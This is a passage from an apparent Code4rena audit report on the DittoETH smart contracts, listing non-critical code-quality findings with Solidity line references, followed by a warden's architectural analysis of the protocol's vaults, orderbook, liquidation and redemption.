Modern smart contract development often employs upgradeable contract structures, utilizing proxy patterns like OpenZeppelin’s Upgradeable Contracts. This paradigm separates logic and state, allowing developers to amend and enhance the contract’s functionality without altering its state or the deployed contract address. Transitioning to this approach enhances long-term maintainability.
Resolution: Adopt a well-established proxy pattern for upgradeability, ensuring proper initialization and employing transparent proxies to mitigate potential risks. Embrace comprehensive testing and audit practices, particularly when updating contract logic, to ensure state consistency and security are preserved across upgrades. This ensures your contract remains robust and adaptable to future requirements.
BidOrdersFacet.sol (20):
20: contract BidOrdersFacet is Modifiers {
BridgeRouterFacet.sol (18):
18: contract BridgeRouterFacet is Modifiers {
ExitShortFacet.sol (19):
19: contract ExitShortFacet is Modifiers {
PrimaryLiquidationFacet.sol (21):
21: contract PrimaryLiquidationFacet is Modifiers {
RedemptionFacet.sol (21):
21: contract RedemptionFacet is Modifiers {
ShortOrdersFacet.sol (18):
18: contract ShortOrdersFacet is Modifiers {
[57] Large or complicated code bases should implement invariant tests
This includes: large code bases, or code with lots of inline-assembly, complicated math, or complicated interactions between multiple contracts.
Invariant fuzzers such as Echidna require the test writer to come up with invariants which should not be violated under any circumstances, and the fuzzer tests various inputs and function calls to ensure that the invariants always hold. Even code with 100% code coverage can still have bugs due to the order of the operations a user performs, and invariant fuzzers may help significantly.
- Global finding
[58] The default value is manually set when it is declared
In instances where a new variable is defined, there is no need to set it to it’s default value.
RedemptionFacet.sol (78-78, 242-242, 321-321):
78: for (uint8 i = 0; i < proposalInput.length; i++) {
242: for (uint256 i = 0; i < decodedProposalData.length; i++) {
321: for (uint256 i = 0; i < decodedProposalData.length; i++) {
LibBytes.sol (18-18):
18: for (uint256 i = 0; i < slateLength; i++) {
LibOrders.sol (71-71, 743-743):
71: for (uint256 i = 0; i < size; i++) {
743: for (uint256 i = 0; i < shortHintArray.length;) {
[59] Contracts should have all public
/external
functions exposed by interface
s
All external
/public
functions should extend an interface
. This is useful to ensure that the whole API is extracted and can be more easily integrated by other projects.
BidOrdersFacet.sol (20):
20: contract BidOrdersFacet is Modifiers {
BridgeRouterFacet.sol (18):
18: contract BridgeRouterFacet is Modifiers {
ExitShortFacet.sol (19):
19: contract ExitShortFacet is Modifiers {
PrimaryLiquidationFacet.sol (21):
21: contract PrimaryLiquidationFacet is Modifiers {
RedemptionFacet.sol (21):
21: contract RedemptionFacet is Modifiers {
ShortOrdersFacet.sol (18):
18: contract ShortOrdersFacet is Modifiers {
[60] Top-level declarations should be separated by at least two lines
There are 39 instances:
BidOrdersFacet.sol (2-4, 75-77, 356-358):
2: pragma solidity 0.8.21;
3:
4: import {U256, U88, U80} from "contracts/libraries/PRBMathHelper.sol";
75: }
76:
77: function _createBid(
356: }
357:
358: function _shortDirectionHandler(
BridgeRouterFacet.sol (2-4):
2: pragma solidity 0.8.21;
3:
4: import {U256, U88} from "contracts/libraries/PRBMathHelper.sol";
ExitShortFacet.sol (2-4, 211-213):
2: pragma solidity 0.8.21;
3:
4: import {U256, U80, U88} from "contracts/libraries/PRBMathHelper.sol";
211: }
212:
213: function getCollateralRatioNonPrice(STypes.ShortRecord storage short) internal view returns (uint256 cRatio) {
PrimaryLiquidationFacet.sol (2-4, 227-229):
2: pragma solidity 0.8.21;
3:
4: import {U256, U96, U88, U80} from "contracts/libraries/PRBMathHelper.sol";
227: }
228:
229: function min88(uint256 a, uint88 b) private pure returns (uint88) {
RedemptionFacet.sol (2-4, 19-21):
2: pragma solidity 0.8.21;
3:
4: import {U256, U104, U88, U80, U64, U32} from "contracts/libraries/PRBMathHelper.sol";
19: import {console} from "contracts/libraries/console.sol";
20:
21: contract RedemptionFacet is Modifiers {
ShortOrdersFacet.sol (2-4):
2: pragma solidity 0.8.21;
3:
4: import {U256, U88, U80} from "contracts/libraries/PRBMathHelper.sol";
LibBridgeRouter.sol (2-4):
2: pragma solidity 0.8.21;
3:
4: import {IBridge} from "contracts/interfaces/IBridge.sol";
LibBytes.sol (2-4):
2: pragma solidity 0.8.21;
3:
4: import {MTypes} from "contracts/libraries/DataTypes.sol";
LibOracle.sol (2-4, 67-69, 115-117, 129-131):
2: pragma solidity 0.8.21;
3:
4: import {U256} from "contracts/libraries/PRBMathHelper.sol";
67: }
68:
69: function baseOracleCircuitBreaker(
115: }
116:
117: function oracleCircuitBreaker(
129: }
130:
131: function twapCircuitBreaker() private view returns (uint256 twapPriceInEth) {
LibOrders.sol (2-4, 33-35, 53-55, 76-78, 80-82, 101-103, 626-628, 726-728, 808-810, 824-826, 866-868, 880-882, 983-985, 987-989):
2: pragma solidity 0.8.21;
3:
4: import {U256, U104, U80, U88, U16} from "contracts/libraries/PRBMathHelper.sol";
33: }
34:
35: function convertCR(uint16 cr) internal pure returns (uint256) {
53: }
54:
55: function currentOrders(mapping(address => mapping(uint16 => STypes.Order)) storage orders, address asset)
76: }
77:
78: function isShort(STypes.Order memory order) internal pure returns (bool) {
80: }
81:
82: function addBid(address asset, STypes.Order memory order, MTypes.OrderHint[] memory orderHintArray) internal {
101: }
102:
103: function addAsk(address asset, STypes.Order memory order, MTypes.OrderHint[] memory orderHintArray) internal {
626: }
627:
628: function matchIncomingSell(address asset, STypes.Order memory incomingOrder, MTypes.Match memory matchTotal) private {
726: }
727:
728: function _updateOracleAndStartingShort(address asset, uint16[] memory shortHintArray) private {
808: }
809:
810: function updateStartingShortIdViaShort(address asset, STypes.Order memory incomingShort) internal {
824: }
825:
826: function findOrderHintId(
866: }
867:
868: function cancelAsk(address asset, uint16 id) internal {
880: }
881:
882: function cancelShort(address asset, uint16 id) internal {
983: }
984:
985: function min(uint256 a, uint256 b) internal pure returns (uint256) {
987: }
988:
989: function max(uint256 a, uint256 b) internal pure returns (uint256) {
LibSRUtil.sol (2-4, 47-49, 70-72, 100-102, 122-124, 149-151):
2: pragma solidity 0.8.21;
3:
4: import {U88, U256} from "contracts/libraries/PRBMathHelper.sol";
47: }
48:
49: function checkCancelShortOrder(address asset, SR initialStatus, uint16 shortOrderId, uint8 shortRecordId, address shorter)
70: }
71:
72: function checkShortMinErc(address asset, SR initialStatus, uint16 shortOrderId, uint8 shortRecordId, address shorter)
100: }
101:
102: function checkRecoveryModeViolation(address asset, uint256 shortRecordCR, uint256 oraclePrice)
122: }
123:
124: function transferShortRecord(address from, address to, uint40 tokenId) internal {
149: }
150:
151: function updateErcDebt(STypes.ShortRecord storage short, address asset) internal {
UniswapOracleLibrary.sol (8-10, 45-47):
8: import {U256} from "contracts/libraries/PRBMathHelper.sol";
9:
10: interface IUniswapV3Pool {
45: }
46:
47: function estimateTWAP(uint128 amountIn, uint32 secondsAgo, address pool, address baseToken, address quoteToken)
[61] Consider adding formal verification proofs
Formal verification is the act of proving or disproving the correctness of intended algorithms underlying a system with respect to a certain formal specification/property/invariant, using formal methods of mathematics.
Some tools that are currently available to perform these tests on smart contracts are SMTChecker and Certora Prover.
There are 12 instances:
[62] Use scopes sparingly
The use of scoped blocks, denoted by {}
without a preceding control structure like if
, for
, etc., allows for the creation of isolated scopes within a function. While this can be useful for managing memory and preventing naming conflicts, it should be used sparingly. Excessive use of these scope blocks can obscure the code’s logic flow and make it more difficult to understand, impeding code maintainability. As a best practice, only employ scoped blocks when necessary for memory management or to avoid clear naming conflicts. Otherwise, aim for clarity and simplicity in your code structure for optimal readability and maintainability.
ExitShortFacet.sol (101-102, 176-177):
101: {
102: STypes.AssetUser storage AssetUser = s.assetUser[asset][msg.sender];
176: {
177: uint256 ethAmount = price.mul(e.buybackAmount);
PrimaryLiquidationFacet.sol (127-128):
127: {
128: MTypes.PrimaryLiquidation memory m;
LibOrders.sol (750-751, 908-909):
750: {
751: O shortOrderType = short.orderType;
908: {
909: STypes.Vault storage Vault = s.vault[vault];
ditto-eth (DittoETH) acknowledged
[01] - Low
[02] - Non-Critical
[03] - Low
[04] - Low
[05] - Non-Critical
[06] - Low
[07] - Non-Critical
[08] - Lowand 54 Non-Criticals.
Audit Analysis
For this audit, 15 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The report highlighted below by popeye received the top score from the judge.
The following wardens also submitted reports: hunter_w3b, Sathish9098, roguereggiant, albahaca, fouzantanveer, SAQ, kaveyjoe, emerald7017, LinKenji, foxb868, 0xbrett8571, Rhaydden, JcFichtner, and clara.
Overview of DittoETH
DittoETH
is a decentralized pegged asset issuance protocol built on the Ethereum blockchain. The protocol aims to create a platform for users to mint and trade pegged assets, known as DittoAssets
, which are collateralized by liquid staked ETH (LST)
such as rETH
and stETH
. DittoETH
draws inspiration from the original Bitshares implementation of polymorphic digital assets (PMDA)
and utilizes an orderbook model for asset exchange.
At its core, DittoETH
allows users to deposit LSTs
or ETH
into vaults, which serve as collateral for minting DittoAssets
. The protocol introduces the concept of dETH
, an internal representation of the deposited collateral that enables users to earn staking rewards. When a user deposits LSTs
or ETH
, they receive an equivalent amount of dETH
, which is escrowed within the protocol.
The minting of DittoAssets
occurs through a unique orderbook mechanism. Users can place bids to purchase DittoAssets
using their dETH
collateral, while shorters can place asks to mint and sell DittoAssets
. When a bid and an ask are matched, the DittoAsset
is minted and transferred to the bidder, while the shorter receives the dETH
collateral from the bidder. This collateral is added to the shorter’s existing collateral, allowing them to earn additional staking rewards.
To ensure the stability and solvency of the system, DittoETH
requires shorters to maintain a minimum collateralization ratio, typically set at 170% (initialCR
). If a shorter’s collateralization ratio falls below the liquidation threshold, their position can be liquidated by liquidators, who are incentivized to maintain the health of the protocol.
The protocol also incorporates various mechanisms to handle edge cases and maintain the peg of DittoAssets
. These include a dynamic tithe system that adjusts fees based on market conditions, a redemption mechanism that allows DittoAsset holders to redeem their assets for the underlying collateral, and a Treasury Asset Protection Pool (TAPP
) that acts as a stability fund to absorb potential losses.
DittoETH shares similarities with other decentralized finance (DeFi) protocols like MakerDAO and Synthetix in terms of collateralized debt positions and pegged asset issuance. However, it distinguishes itself through its use of LSTs as collateral, the orderbook-based minting mechanism, and the incentive structure for shorters to earn additional rewards.
The protocol’s smart contracts are organized into a modular structure using the Diamond standard, allowing for flexibility and upgradability. The core contracts include:
VaultFacet
: Handles the management of vaults, deposits, and withdrawals of collateral.BridgeRouterFacet
: Facilitates the interaction with external LST bridges for depositing and withdrawing collateral.BidOrdersFacet
andShortOrdersFacet
: Manage the creation and matching of bid and short orders on the orderbook.PrimaryLiquidationFacet
: Handles the liquidation of undercollateralized short positions.RedemptionFacet
: Enables the redemption ofDittoAssets
for the underlying collateral.
The protocol also relies on external price oracles, such as Chainlink and Uniswap V3 TWAPs, to determine asset prices and ensure the accuracy of the system.
Here’s a diagram that provides an overview of the DittoETH protocol:
Note: to view the provided image, please see the original submission here.
Protocol Roles/Actors and Their Privileges
In the DittoETH protocol, there are several key roles and actors, each with their own privileges and responsibilities. These roles include:
1. Users
- Users are the primary participants in the DittoETH protocol.
- They can deposit LSTs or ETH into vaults to mint dETH, which is escrowed within the protocol.
- Users can place bids on the orderbook to purchase
DittoAssets
using their dETH collateral. - Users can also place asks on the orderbook to mint and sell
DittoAssets
. - Users have the privilege to withdraw their deposited collateral from vaults, subject to certain conditions and fees.
2. Shorters
- Shorters are users who mint and sell
DittoAssets
on the orderbook. - They provide liquidity to the system by minting
DittoAssets
and selling them to bidders. - Shorters must maintain a minimum collateralization ratio (e.g., 170%) to ensure the stability of the minted
DittoAssets
. - They earn staking rewards on their collateral, including the additional collateral received from matched bidders.
- Shorters have the privilege to manage their short positions, adjust collateral, and close their positions by repurchasing and burning the minted
DittoAssets
.
3. Bidders
- Bidders are users who place bids on the orderbook to purchase
DittoAssets
using their dETH collateral. - When a bid is matched with a shorter’s ask, the bidder receives the minted
DittoAsset
. - Bidders have the privilege to cancel their bids if they are not yet matched.
4. Liquidators
- Liquidators play a crucial role in maintaining the health and solvency of the DittoETH protocol.
- They monitor the collateralization ratios of shorters’ positions.
- If a shorter’s position falls below the liquidation threshold, liquidators have the privilege to liquidate the position.
- Liquidators receive incentives from the Treasury Asset Protection Pool (TAPP) for performing liquidations.
5. DittoAsset Holders
- DittoAsset holders are users who own the minted
DittoAssets
. - They have the privilege to redeem their
DittoAssets
for the underlying collateral through the RedemptionFacet. - When a
DittoAsset
is redeemed, it is burned, and the corresponding collateral is released to the holder.
6. DAO (Decentralized Autonomous Organization)
- The DittoETH protocol is governed by a DAO.
- The DAO has the privilege to set and adjust various protocol parameters, such as the tithe system, liquidation thresholds, and TAPP.
- DAO members participate in the governance process and make decisions that impact the protocol’s operation and evolution.
7. Oracles
- Oracles are external entities that provide price feeds for the assets supported by the
DittoETH
protocol. - They play a critical role in ensuring accurate price information for the orderbook and collateralization checks.
- Oracles have the privilege to update asset prices, which are relied upon by the protocol for various calculations and decisions.
Here’s a diagram in Mermaid code that illustrates the roles and actors in the DittoETH
protocol:
Note: to view the provided image, please see the original submission here.
This diagram shows the relationships and interactions between the different roles and actors in the DittoETH
protocol. The arrows indicate the actions and privileges associated with each role, such as depositing collateral, placing orders, maintaining collateralization ratios, liquidating positions, redeeming DittoAssets
, governing the protocol, and providing price feeds.
The diagram aims to provide a clear visual representation of the roles and their respective privileges within the DittoETH
ecosystem. It highlights the interdependencies and the flow of assets and information among the various actors.
Technical Architecture of DittoETH
DittoETH is built on a robust and modular architecture that adheres to the Diamond standard, enabling the protocol to achieve a high degree of flexibility, upgradability, and separation of concerns. The architecture is meticulously designed to support the core functionalities of minting, trading, and redeeming pegged assets, known as DittoAssets
, which are collateralized by liquid staked ETH (LSTs) such as rETH and stETH.
State Management
At the heart of the DittoETH architecture lies the AppStorage
contract, which serves as the central repository for all the critical state variables and data structures of the protocol. The AppStorage
contract employs a well-organized system of mappings and structs to efficiently store and manage information pertaining to vaults, assets, users, orders, and short records.
The vault
mapping associates a unique identifier (uint256
) with a Vault
struct, which encapsulates the essential properties and state of each vault within the protocol. This includes data such as the total dETH balance, collateral composition, and yield rates.
The asset
mapping establishes a relationship between an asset address and its corresponding Asset
struct, which holds asset-specific information like the associated vault, oracle address, and various parameters governing the asset’s behavior within the protocol.
User-related data is maintained through the vaultUser
and assetUser
mappings. The vaultUser
mapping links a vault identifier and a user address to a VaultUser
struct, storing user-specific data within the context of a particular vault, such as the user’s dETH balance and bridge credit. Similarly, the assetUser
mapping connects an asset address and a user address to an AssetUser
struct, capturing user-specific information pertaining to a specific asset, like the user’s escrowed DittoAsset balance.
The bids
, asks
, and shorts
mappings are used to store and manage the orderbook data. Each mapping associates an asset address and an order identifier (uint16
) with an Order
struct, representing the details of a specific bid, ask, or short order, respectively. This structure allows for efficient retrieval and manipulation of order data.
Lastly, the shortRecords
mapping provides a multi-level mapping that links an asset address, a user address, and a short record identifier (uint8
) to a ShortRecord
struct. This mapping enables the protocol to keep track of the individual short positions of users, including collateral, debt, and yield information.
The centralized state management approach employed by the AppStorage
contract offers several advantages. It ensures data consistency across the various components of the protocol, reduces the complexity of inter-contract interactions, and provides a single source of truth for the protocol’s state. Moreover, it allows for efficient querying and updating of state variables, optimizing gas costs and improving overall performance.
Sequence Flow Diagram:
Note: to view the provided image, please see the original submission here.
The sequence flow diagram shows the interactions between the various components and actors involved in the protocol’s operations.
Vault Management
The VaultFacet
contract is responsible for managing the vaults within the DittoETH protocol. A vault serves as a secure container for the deposited LSTs and ETH collateral, and the VaultFacet
provides a range of functions to interact with these vaults.
Users can deposit their LSTs or ETH into a vault through the depositAsset
and depositEth
functions, respectively. When a user deposits collateral, the VaultFacet
contract mints an equivalent amount of dETH, an internal representation of the deposited collateral. The minted dETH is then escrowed within the vault, effectively locking the collateral and allowing the user to participate in the protocol’s functionalities.
The VaultFacet
contract also enables users to withdraw their collateral from the vault using the withdrawAsset
function. Upon withdrawal, the escrowed dETH is burned, and the corresponding collateral is released back to the user. This process ensures that the collateral remains securely stored within the vault until the user initiates a withdrawal.
In addition to deposit and withdrawal operations, the VaultFacet
contract plays a crucial role in updating the yield rates associated with the vaults. The updateYield
function is responsible for recalculating and updating the yield rates based on the current state of the vault and the underlying collateral. This functionality ensures that users receive accurate and up-to-date yield information on their deposited collateral.
The vault management component of the DittoETH architecture serves as the foundation for the secure storage and accounting of collateral assets. By providing a robust and reliable mechanism for depositing, withdrawing, and tracking collateral, the VaultFacet
contract contributes to the overall stability and integrity of the protocol.
Bridge Interaction
The BridgeRouterFacet
contract is a critical component of the DittoETH architecture, facilitating seamless interaction with external LST bridges. This contract acts as an intermediary between the protocol and the supported LST bridges, such as the rETH and stETH bridges, enabling users to deposit and withdraw LSTs through these bridges.
When a user wants to deposit LSTs into the protocol, they can interact with the BridgeRouterFacet
contract through the deposit
function. This function takes the address of the specific LST bridge and the amount of LSTs to be deposited. Internally, the contract communicates with the corresponding LST bridge contract, initiating the deposit process. The deposited LSTs are then converted into dETH, the internal representation of collateral within the DittoETH protocol.
Similarly, when a user wishes to withdraw their LSTs from the protocol, they can invoke the withdraw
function of the BridgeRouterFacet
contract. This function takes the address of the LST bridge and the amount of dETH to be withdrawn. The contract interacts with the specified LST bridge to facilitate the withdrawal process, converting the dETH back into the corresponding LSTs and transferring them to the user’s wallet.
The BridgeRouterFacet
contract also incorporates a credit system to handle scenarios where users deposit and withdraw different types of LSTs. When a user deposits LSTs through a specific bridge, they receive a bridge credit associated with that particular LST. This credit is tracked and managed within the BridgeRouterFacet
contract. When a user withdraws LSTs, the contract first checks if they have sufficient bridge credit for the requested LST. If the credit is available, the withdrawal is processed using the credited LSTs. This mechanism ensures that users can only withdraw the LSTs they have previously deposited, preventing potential arbitrage opportunities.
The bridge interaction component of the DittoETH architecture serves a vital purpose by expanding the range of collateral options available to users. By integrating with multiple LST bridges, the protocol offers users the flexibility to deposit and withdraw different types of LSTs, enhancing the overall liquidity and accessibility of the platform. The BridgeRouterFacet
contract abstracts away the complexities of interacting with individual LST bridges, providing a unified and user-friendly interface for collateral management.
Moreover, the bridge interaction functionality enables the protocol to adapt and evolve as new LST bridges emerge in the ecosystem. The modular design of the BridgeRouterFacet
contract allows for easy integration of additional LST bridges, ensuring that the protocol remains compatible and interoperable with a wide range of collateral assets.
Orderbook
The orderbook is a fundamental component of the DittoETH architecture, facilitating the matching of buyers and sellers of DittoAssets
. The orderbook functionality is implemented through two key contracts: BidOrdersFacet
and ShortOrdersFacet
.
The BidOrdersFacet
contract handles the placement and management of bid orders on the orderbook. Users can place bids by specifying the desired DittoAsset
, the price they are willing to pay, and the amount of dETH collateral they wish to use. The contract validates the input parameters, checks the user’s available dETH balance, and creates a new bid order on the orderbook. Bid orders are stored in the bids
mapping within the AppStorage
contract, allowing for efficient retrieval and matching.
On the other hand, the ShortOrdersFacet
contract is responsible for managing short orders on the orderbook. Shorters can place asks by specifying the DittoAsset
they want to mint and sell, the price they are willing to sell at, and the amount of DittoAssets
they wish to create. The contract verifies the shorter’s collateral adequacy, ensures compliance with the protocol’s collateralization requirements, and creates a new short order on the orderbook. Short orders are stored in the shorts
mapping within the AppStorage
contract.
The orderbook component of the DittoETH architecture employs a sophisticated matching algorithm to efficiently match bid and short orders. When a new bid or short order is placed, the contracts traverse the orderbook to find the best matching counterparty. The matching algorithm takes into account the price, quantity, and order type to determine the optimal match. If a match is found, the contracts execute the trade, transferring the DittoAssets
from the shorter to the bidder and the dETH collateral from the bidder to the shorter.
To optimize gas costs and improve the performance of the orderbook, the DittoETH architecture incorporates a hint system. When placing an order, users can provide hints in the form of order IDs that indicate the expected position of their order in the orderbook. These hints help the contracts quickly locate the appropriate position for the new order, reducing the number of iterations required to find a match. If the provided hints are inaccurate or outdated, the contracts fall back to a more exhaustive search to ensure the correct placement and matching of orders.
The orderbook component also includes mechanisms to handle partial fills and order cancellations. If an order is only partially filled, the remaining quantity is updated, and the order remains active on the orderbook for future matches. Users have the ability to cancel their outstanding orders, which removes them from the orderbook and releases the associated collateral.
The BidOrdersFacet
and ShortOrdersFacet
contracts work together to create a decentralized and efficient market for minting and trading DittoAssets
. The orderbook model promotes price discovery, liquidity, and fair market dynamics. By enabling users to place bids and asks at their desired prices, the architecture fosters a competitive and transparent trading environment.
Moreover, the orderbook component is designed to be flexible and extensible. The modular structure of the contracts allows for the integration of additional order types, such as limit orders or market orders, as well as the incorporation of advanced trading features like order expiration or fill-or-kill orders. This adaptability ensures that the DittoETH protocol can evolve and meet the changing needs of its users over time.
Liquidation
The PrimaryLiquidationFacet
contract plays a crucial role in maintaining the stability and solvency of the DittoETH protocol by facilitating the liquidation of undercollateralized short positions. Liquidation is a critical risk management mechanism that ensures the protocol remains adequately collateralized and protects against potential defaults.
When a shorter opens a short position by minting and selling DittoAssets
, they are required to provide sufficient collateral to meet the protocol’s collateralization requirements. The collateralization ratio is defined as the ratio of the collateral value to the minted DittoAsset
value. If the collateralization ratio of a short position falls below the liquidation threshold, it becomes eligible for liquidation.
The PrimaryLiquidationFacet
contract allows liquidators to identify and liquidate undercollateralized short positions. Liquidators continuously monitor the collateralization ratios of short positions and can initiate the liquidation process by calling the liquidate
function. This function takes the address of the DittoAsset
, the address of the shorter, and the ID of the short position to be liquidated.
Upon receiving a liquidation request, the contract verifies the eligibility of the short position for liquidation. It calculates the current collateralization ratio based on the latest price information from the oracle and compares it against the liquidation threshold. If the short position is indeed undercollateralized, the liquidation process proceeds.
During liquidation, the contract forcefully closes the short position by executing a series of steps. First, it determines the amount of DittoAssets
that need to be repurchased to bring the position back to a safe collateralization level. The contract then places a forced bid on the orderbook to buy back the necessary DittoAssets
using the shorter’s collateral. If the forced bid is successful and the required DittoAssets
are acquired, the contract burns the repurchased DittoAssets
, effectively reducing the supply and stabilizing the collateralization ratio.
The liquidation process also involves the distribution of liquidation penalties and incentives. The shorter whose position is liquidated incurs a liquidation penalty, which is a percentage of their collateral that is forfeited. This penalty serves as a deterrent against reckless borrowing and encourages responsible collateral management. On the other hand, liquidators who successfully liquidate undercollateralized positions are rewarded with a portion of the liquidation penalty as an incentive for their efforts in maintaining the protocol’s stability.
The PrimaryLiquidationFacet
contract interacts closely with other components of the DittoETH architecture, such as the orderbook and the price oracle, to execute liquidations accurately and efficiently. It relies on real-time price data from the oracle to calculate collateralization ratios and determine the eligibility of positions for liquidation. The contract also leverages the orderbook to place forced bids and acquire the necessary DittoAssets
during the liquidation process.
The liquidation mechanism implemented in the PrimaryLiquidationFacet
contract is essential for mitigating the risk of undercollateralized positions and ensuring the overall health and stability of the DittoETH protocol. By promptly liquidating positions that fall below the required collateralization threshold, the contract prevents the accumulation of bad debt and maintains the integrity of the collateral backing the minted DittoAssets
.
Moreover, the liquidation functionality acts as a self-regulating mechanism within the protocol. It incentivizes shorters to actively manage their collateral and maintain sufficient collateralization levels to avoid liquidation. At the same time, it encourages liquidators to actively monitor the protocol and participate in the liquidation process, contributing to the decentralized governance and risk management of the platform.
Redemption
The RedemptionFacet
contract is an essential component of the DittoETH architecture, enabling DittoAsset
holders to redeem their assets for the underlying collateral. Redemption is a fundamental feature that ensures the convertibility and stability of DittoAssets
, allowing users to exit their positions and retrieve the collateral value locked within the protocol.
When a user holds DittoAssets
and wishes to redeem them, they can interact with the RedemptionFacet
contract through the redeemAssets
function. This function takes the address of the DittoAsset
and the amount to be redeemed as input parameters. Upon receiving a redemption request, the contract verifies the validity of the request and checks the user’s DittoAsset
balance to ensure they have sufficient funds to complete the redemption.
Once the redemption request is validated, the RedemptionFacet
contract initiates the redemption process. It calculates the corresponding amount of collateral that needs to be released based on the current redemption rate. The redemption rate is determined by the protocol’s governance mechanism and takes into account factors such as the overall collateralization ratio, market conditions, and redemption demand.
After determining the collateral amount to be released, the contract burns the redeemed DittoAssets
, effectively removing them from circulation. This burning process helps maintain the stability and integrity of the DittoAsset
supply, as it ensures that the total supply of DittoAssets
remains in sync with the underlying collateral.
Next, the RedemptionFacet
contract interacts with the vault management component to release the collateral to the user. It communicates with the VaultFacet
contract to withdraw the appropriate amount of collateral from the vault and transfer it to the user’s wallet address. The contract ensures that the collateral is securely and accurately released, updating the relevant state variables and balances within the AppStorage
contract.
The redemption process implemented in the RedemptionFacet
contract is designed to be efficient, transparent, and user-friendly. It provides a seamless way for DittoAsset
holders to convert their assets back into the underlying collateral, enabling them to exit their positions and access the value they have stored within the protocol.
The redemption functionality plays a crucial role in maintaining the stability and credibility of the DittoAsset
ecosystem. By offering a reliable and accessible redemption mechanism, the DittoETH protocol instills confidence in its users and promotes the widespread adoption of DittoAssets
as a stable and trustworthy medium of exchange.
Moreover, the RedemptionFacet
contract incorporates various security measures and checks to prevent unauthorized or fraudulent redemption attempts. It validates the authenticity
Note: to view the provided image, please see the original submission here.
Codebase Quality
Code Maintainability and Reliability
The DittoETH codebase demonstrates a high level of maintainability and reliability. The contracts are well-structured, modular, and adhere to the Diamond standard, which promotes separation of concerns and allows for easy upgradability. The use of libraries, such as LibOrders
, LibAsset
, and LibShortRecord
, encapsulates complex logic and improves code reusability. The contracts are also designed to handle edge cases and potential errors gracefully, with appropriate error handling and revert messages using the Errors
library. The use of SafeMath operations ensures that arithmetic operations are protected against overflow and underflow vulnerabilities. Overall, the codebase exhibits a strong emphasis on maintainability and reliability, making it easier for developers to understand, modify, and extend the functionality of the protocol.
Code Comments
The DittoETH codebase features extensive and informative code comments throughout the contracts. Each contract, function, and important code block is accompanied by clear and concise comments that explain the purpose, functionality, and any relevant considerations. The comments provide valuable insights into the intended behavior of the code, making it easier for developers to understand and navigate the codebase. The use of NatSpec-style comments, such as @notice
, @dev
, and @param
, further enhances the documentation and helps in generating comprehensive documentation for the protocol. The comments also highlight any potential risks, assumptions, or dependencies associated with specific functions or variables. The thoroughness and quality of the code comments demonstrate a commitment to maintainability and facilitating collaboration among developers.
Code Structure and Formatting
The DittoETH codebase follows a consistent and well-organized code structure and formatting. The contracts are logically grouped and separated into different files based on their functionality, such as VaultFacet
, BridgeRouterFacet
, BidOrdersFacet
, and ShortOrdersFacet
. The use of the Diamond standard ensures a clear separation of concerns and promotes modularity. The code is properly indented, and the use of white space enhances readability. The naming conventions for variables, functions, and events are descriptive and follow a consistent pattern, making it easier to understand their purpose and usage. The codebase also makes effective use of Solidity’s inheritance and interface mechanisms to promote code reuse and abstraction. Overall, the code structure and formatting of the DittoETH codebase contribute to its maintainability, readability, and ease of understanding.
Strengths
One of the key strengths of the DittoETH codebase is its modular and extensible architecture. The use of the Diamond standard allows for the separation of concerns and enables the protocol to evolve and adapt over time. New functionality can be added through the creation of additional facets without modifying the existing contracts, promoting upgradability and reducing the risk of introducing bugs or vulnerabilities. The codebase also demonstrates a strong focus on security, with the use of well-established libraries, such as SafeMath
, and the implementation of access control mechanisms to prevent unauthorized access to critical functions. The extensive test suite provided with the codebase instills confidence in the correctness and robustness of the protocol. The tests cover various scenarios, edge cases, and potential vulnerabilities, ensuring that the contracts behave as expected and can handle different conditions. The comprehensive documentation, both in the form of code comments and external documentation, is another strength of the DittoETH codebase. The documentation provides a clear and detailed explanation of the protocol’s architecture, functionality, and usage, making it easier for developers and users to understand and interact with the system.
Documentation
The DittoETH protocol benefits from a comprehensive and well-structured documentation. The provided whitepaper offers a high-level overview of the protocol’s design, architecture, and key components. It explains the core concepts, such as vaults, collateral management, orderbook matching, liquidation, and redemption, in a clear and accessible manner. The whitepaper also discusses the economic model, incentive structures, and potential use cases of the protocol. In addition to the whitepaper, the codebase itself is thoroughly documented using in-code comments and NatSpec annotations. These comments provide detailed explanations of each contract, function, and important code block, making it easier for developers to understand the purpose and functionality of the code. The documentation also includes usage examples, parameter descriptions, and any relevant considerations or assumptions. The combination of the whitepaper and in-code documentation provides a solid foundation for understanding the DittoETH protocol and facilitates its adoption and integration by developers and users alike.
Here’s a diagram illustrating the key components of the DittoETH codebase:
Note: to view the provided image, please see the original submission here.
This diagram highlights the key components of the DittoETH codebase, including the Diamond standard architecture, the various facets responsible for different functionalities, the libraries that encapsulate complex logic, the centralized storage contract (AppStorage
), the extensive test suite, and the comprehensive documentation in the form of the whitepaper and in-code comments.
Approach Taken to Audit DittoETH
Pre-Audit Approach
Before diving into the actual audit of the DittoETH protocol, it was essential to establish a solid foundation and understanding of the project. The first step involved reviewing the provided documentation, including the Litepaper and any available technical specifications. This initial review helped gain a high-level understanding of the protocol’s architecture, key components, and intended functionality.
In addition to the project-specific documentation, the audit approach also leveraged prior knowledge and experience in auditing similar DeFi protocols. Familiarity with common vulnerabilities, best practices, and security patterns in the DeFi space provided a valuable starting point for the audit process. This background knowledge allowed for a more targeted and efficient analysis of the DittoETH codebase.
Codebase Approach
The audit of the DittoETH codebase followed a systematic and thorough approach to ensure comprehensive coverage of all critical components. The codebase was reviewed file by file, focusing on the core functionalities and technical characteristics of each contract. The following table provides an overview of the key contracts audited, along with their importance and management:
File Name | Core Functionality | Technical Characteristics | Importance and Management |
---|---|---|---|
VaultFacet.sol | Manages vaults, deposits, and withdrawals | Vault management, collateral accounting, yield updates | Critical component for secure collateral management and accurate accounting |
BridgeRouterFacet.sol | Facilitates interaction with external LST bridges | Bridge integration, credit system, deposit/withdrawal | Essential for seamless integration with LST bridges and proper handling of bridge interactions |
BidOrdersFacet.sol | Handles the placement and matching of bid orders | Orderbook management, bid matching, order settlement | Crucial for accurate order matching, settlement, and maintaining market integrity |
ShortOrdersFacet.sol | Manages the creation and matching of short orders | Short order placement, collateralization checks | Vital for ensuring proper collateralization and risk management of short positions |
PrimaryLiquidationFacet.sol | Facilitates the liquidation of undercollateralized positions | Liquidation process, incentives, collateral management | Critical for maintaining protocol solvency and stability through efficient liquidations |
RedemptionFacet.sol | Enables the redemption of DittoAssets for collateral |
Redemption process, collateral release, asset burning | Essential for ensuring the convertibility and stability of DittoAssets |
Publicly Known Issues
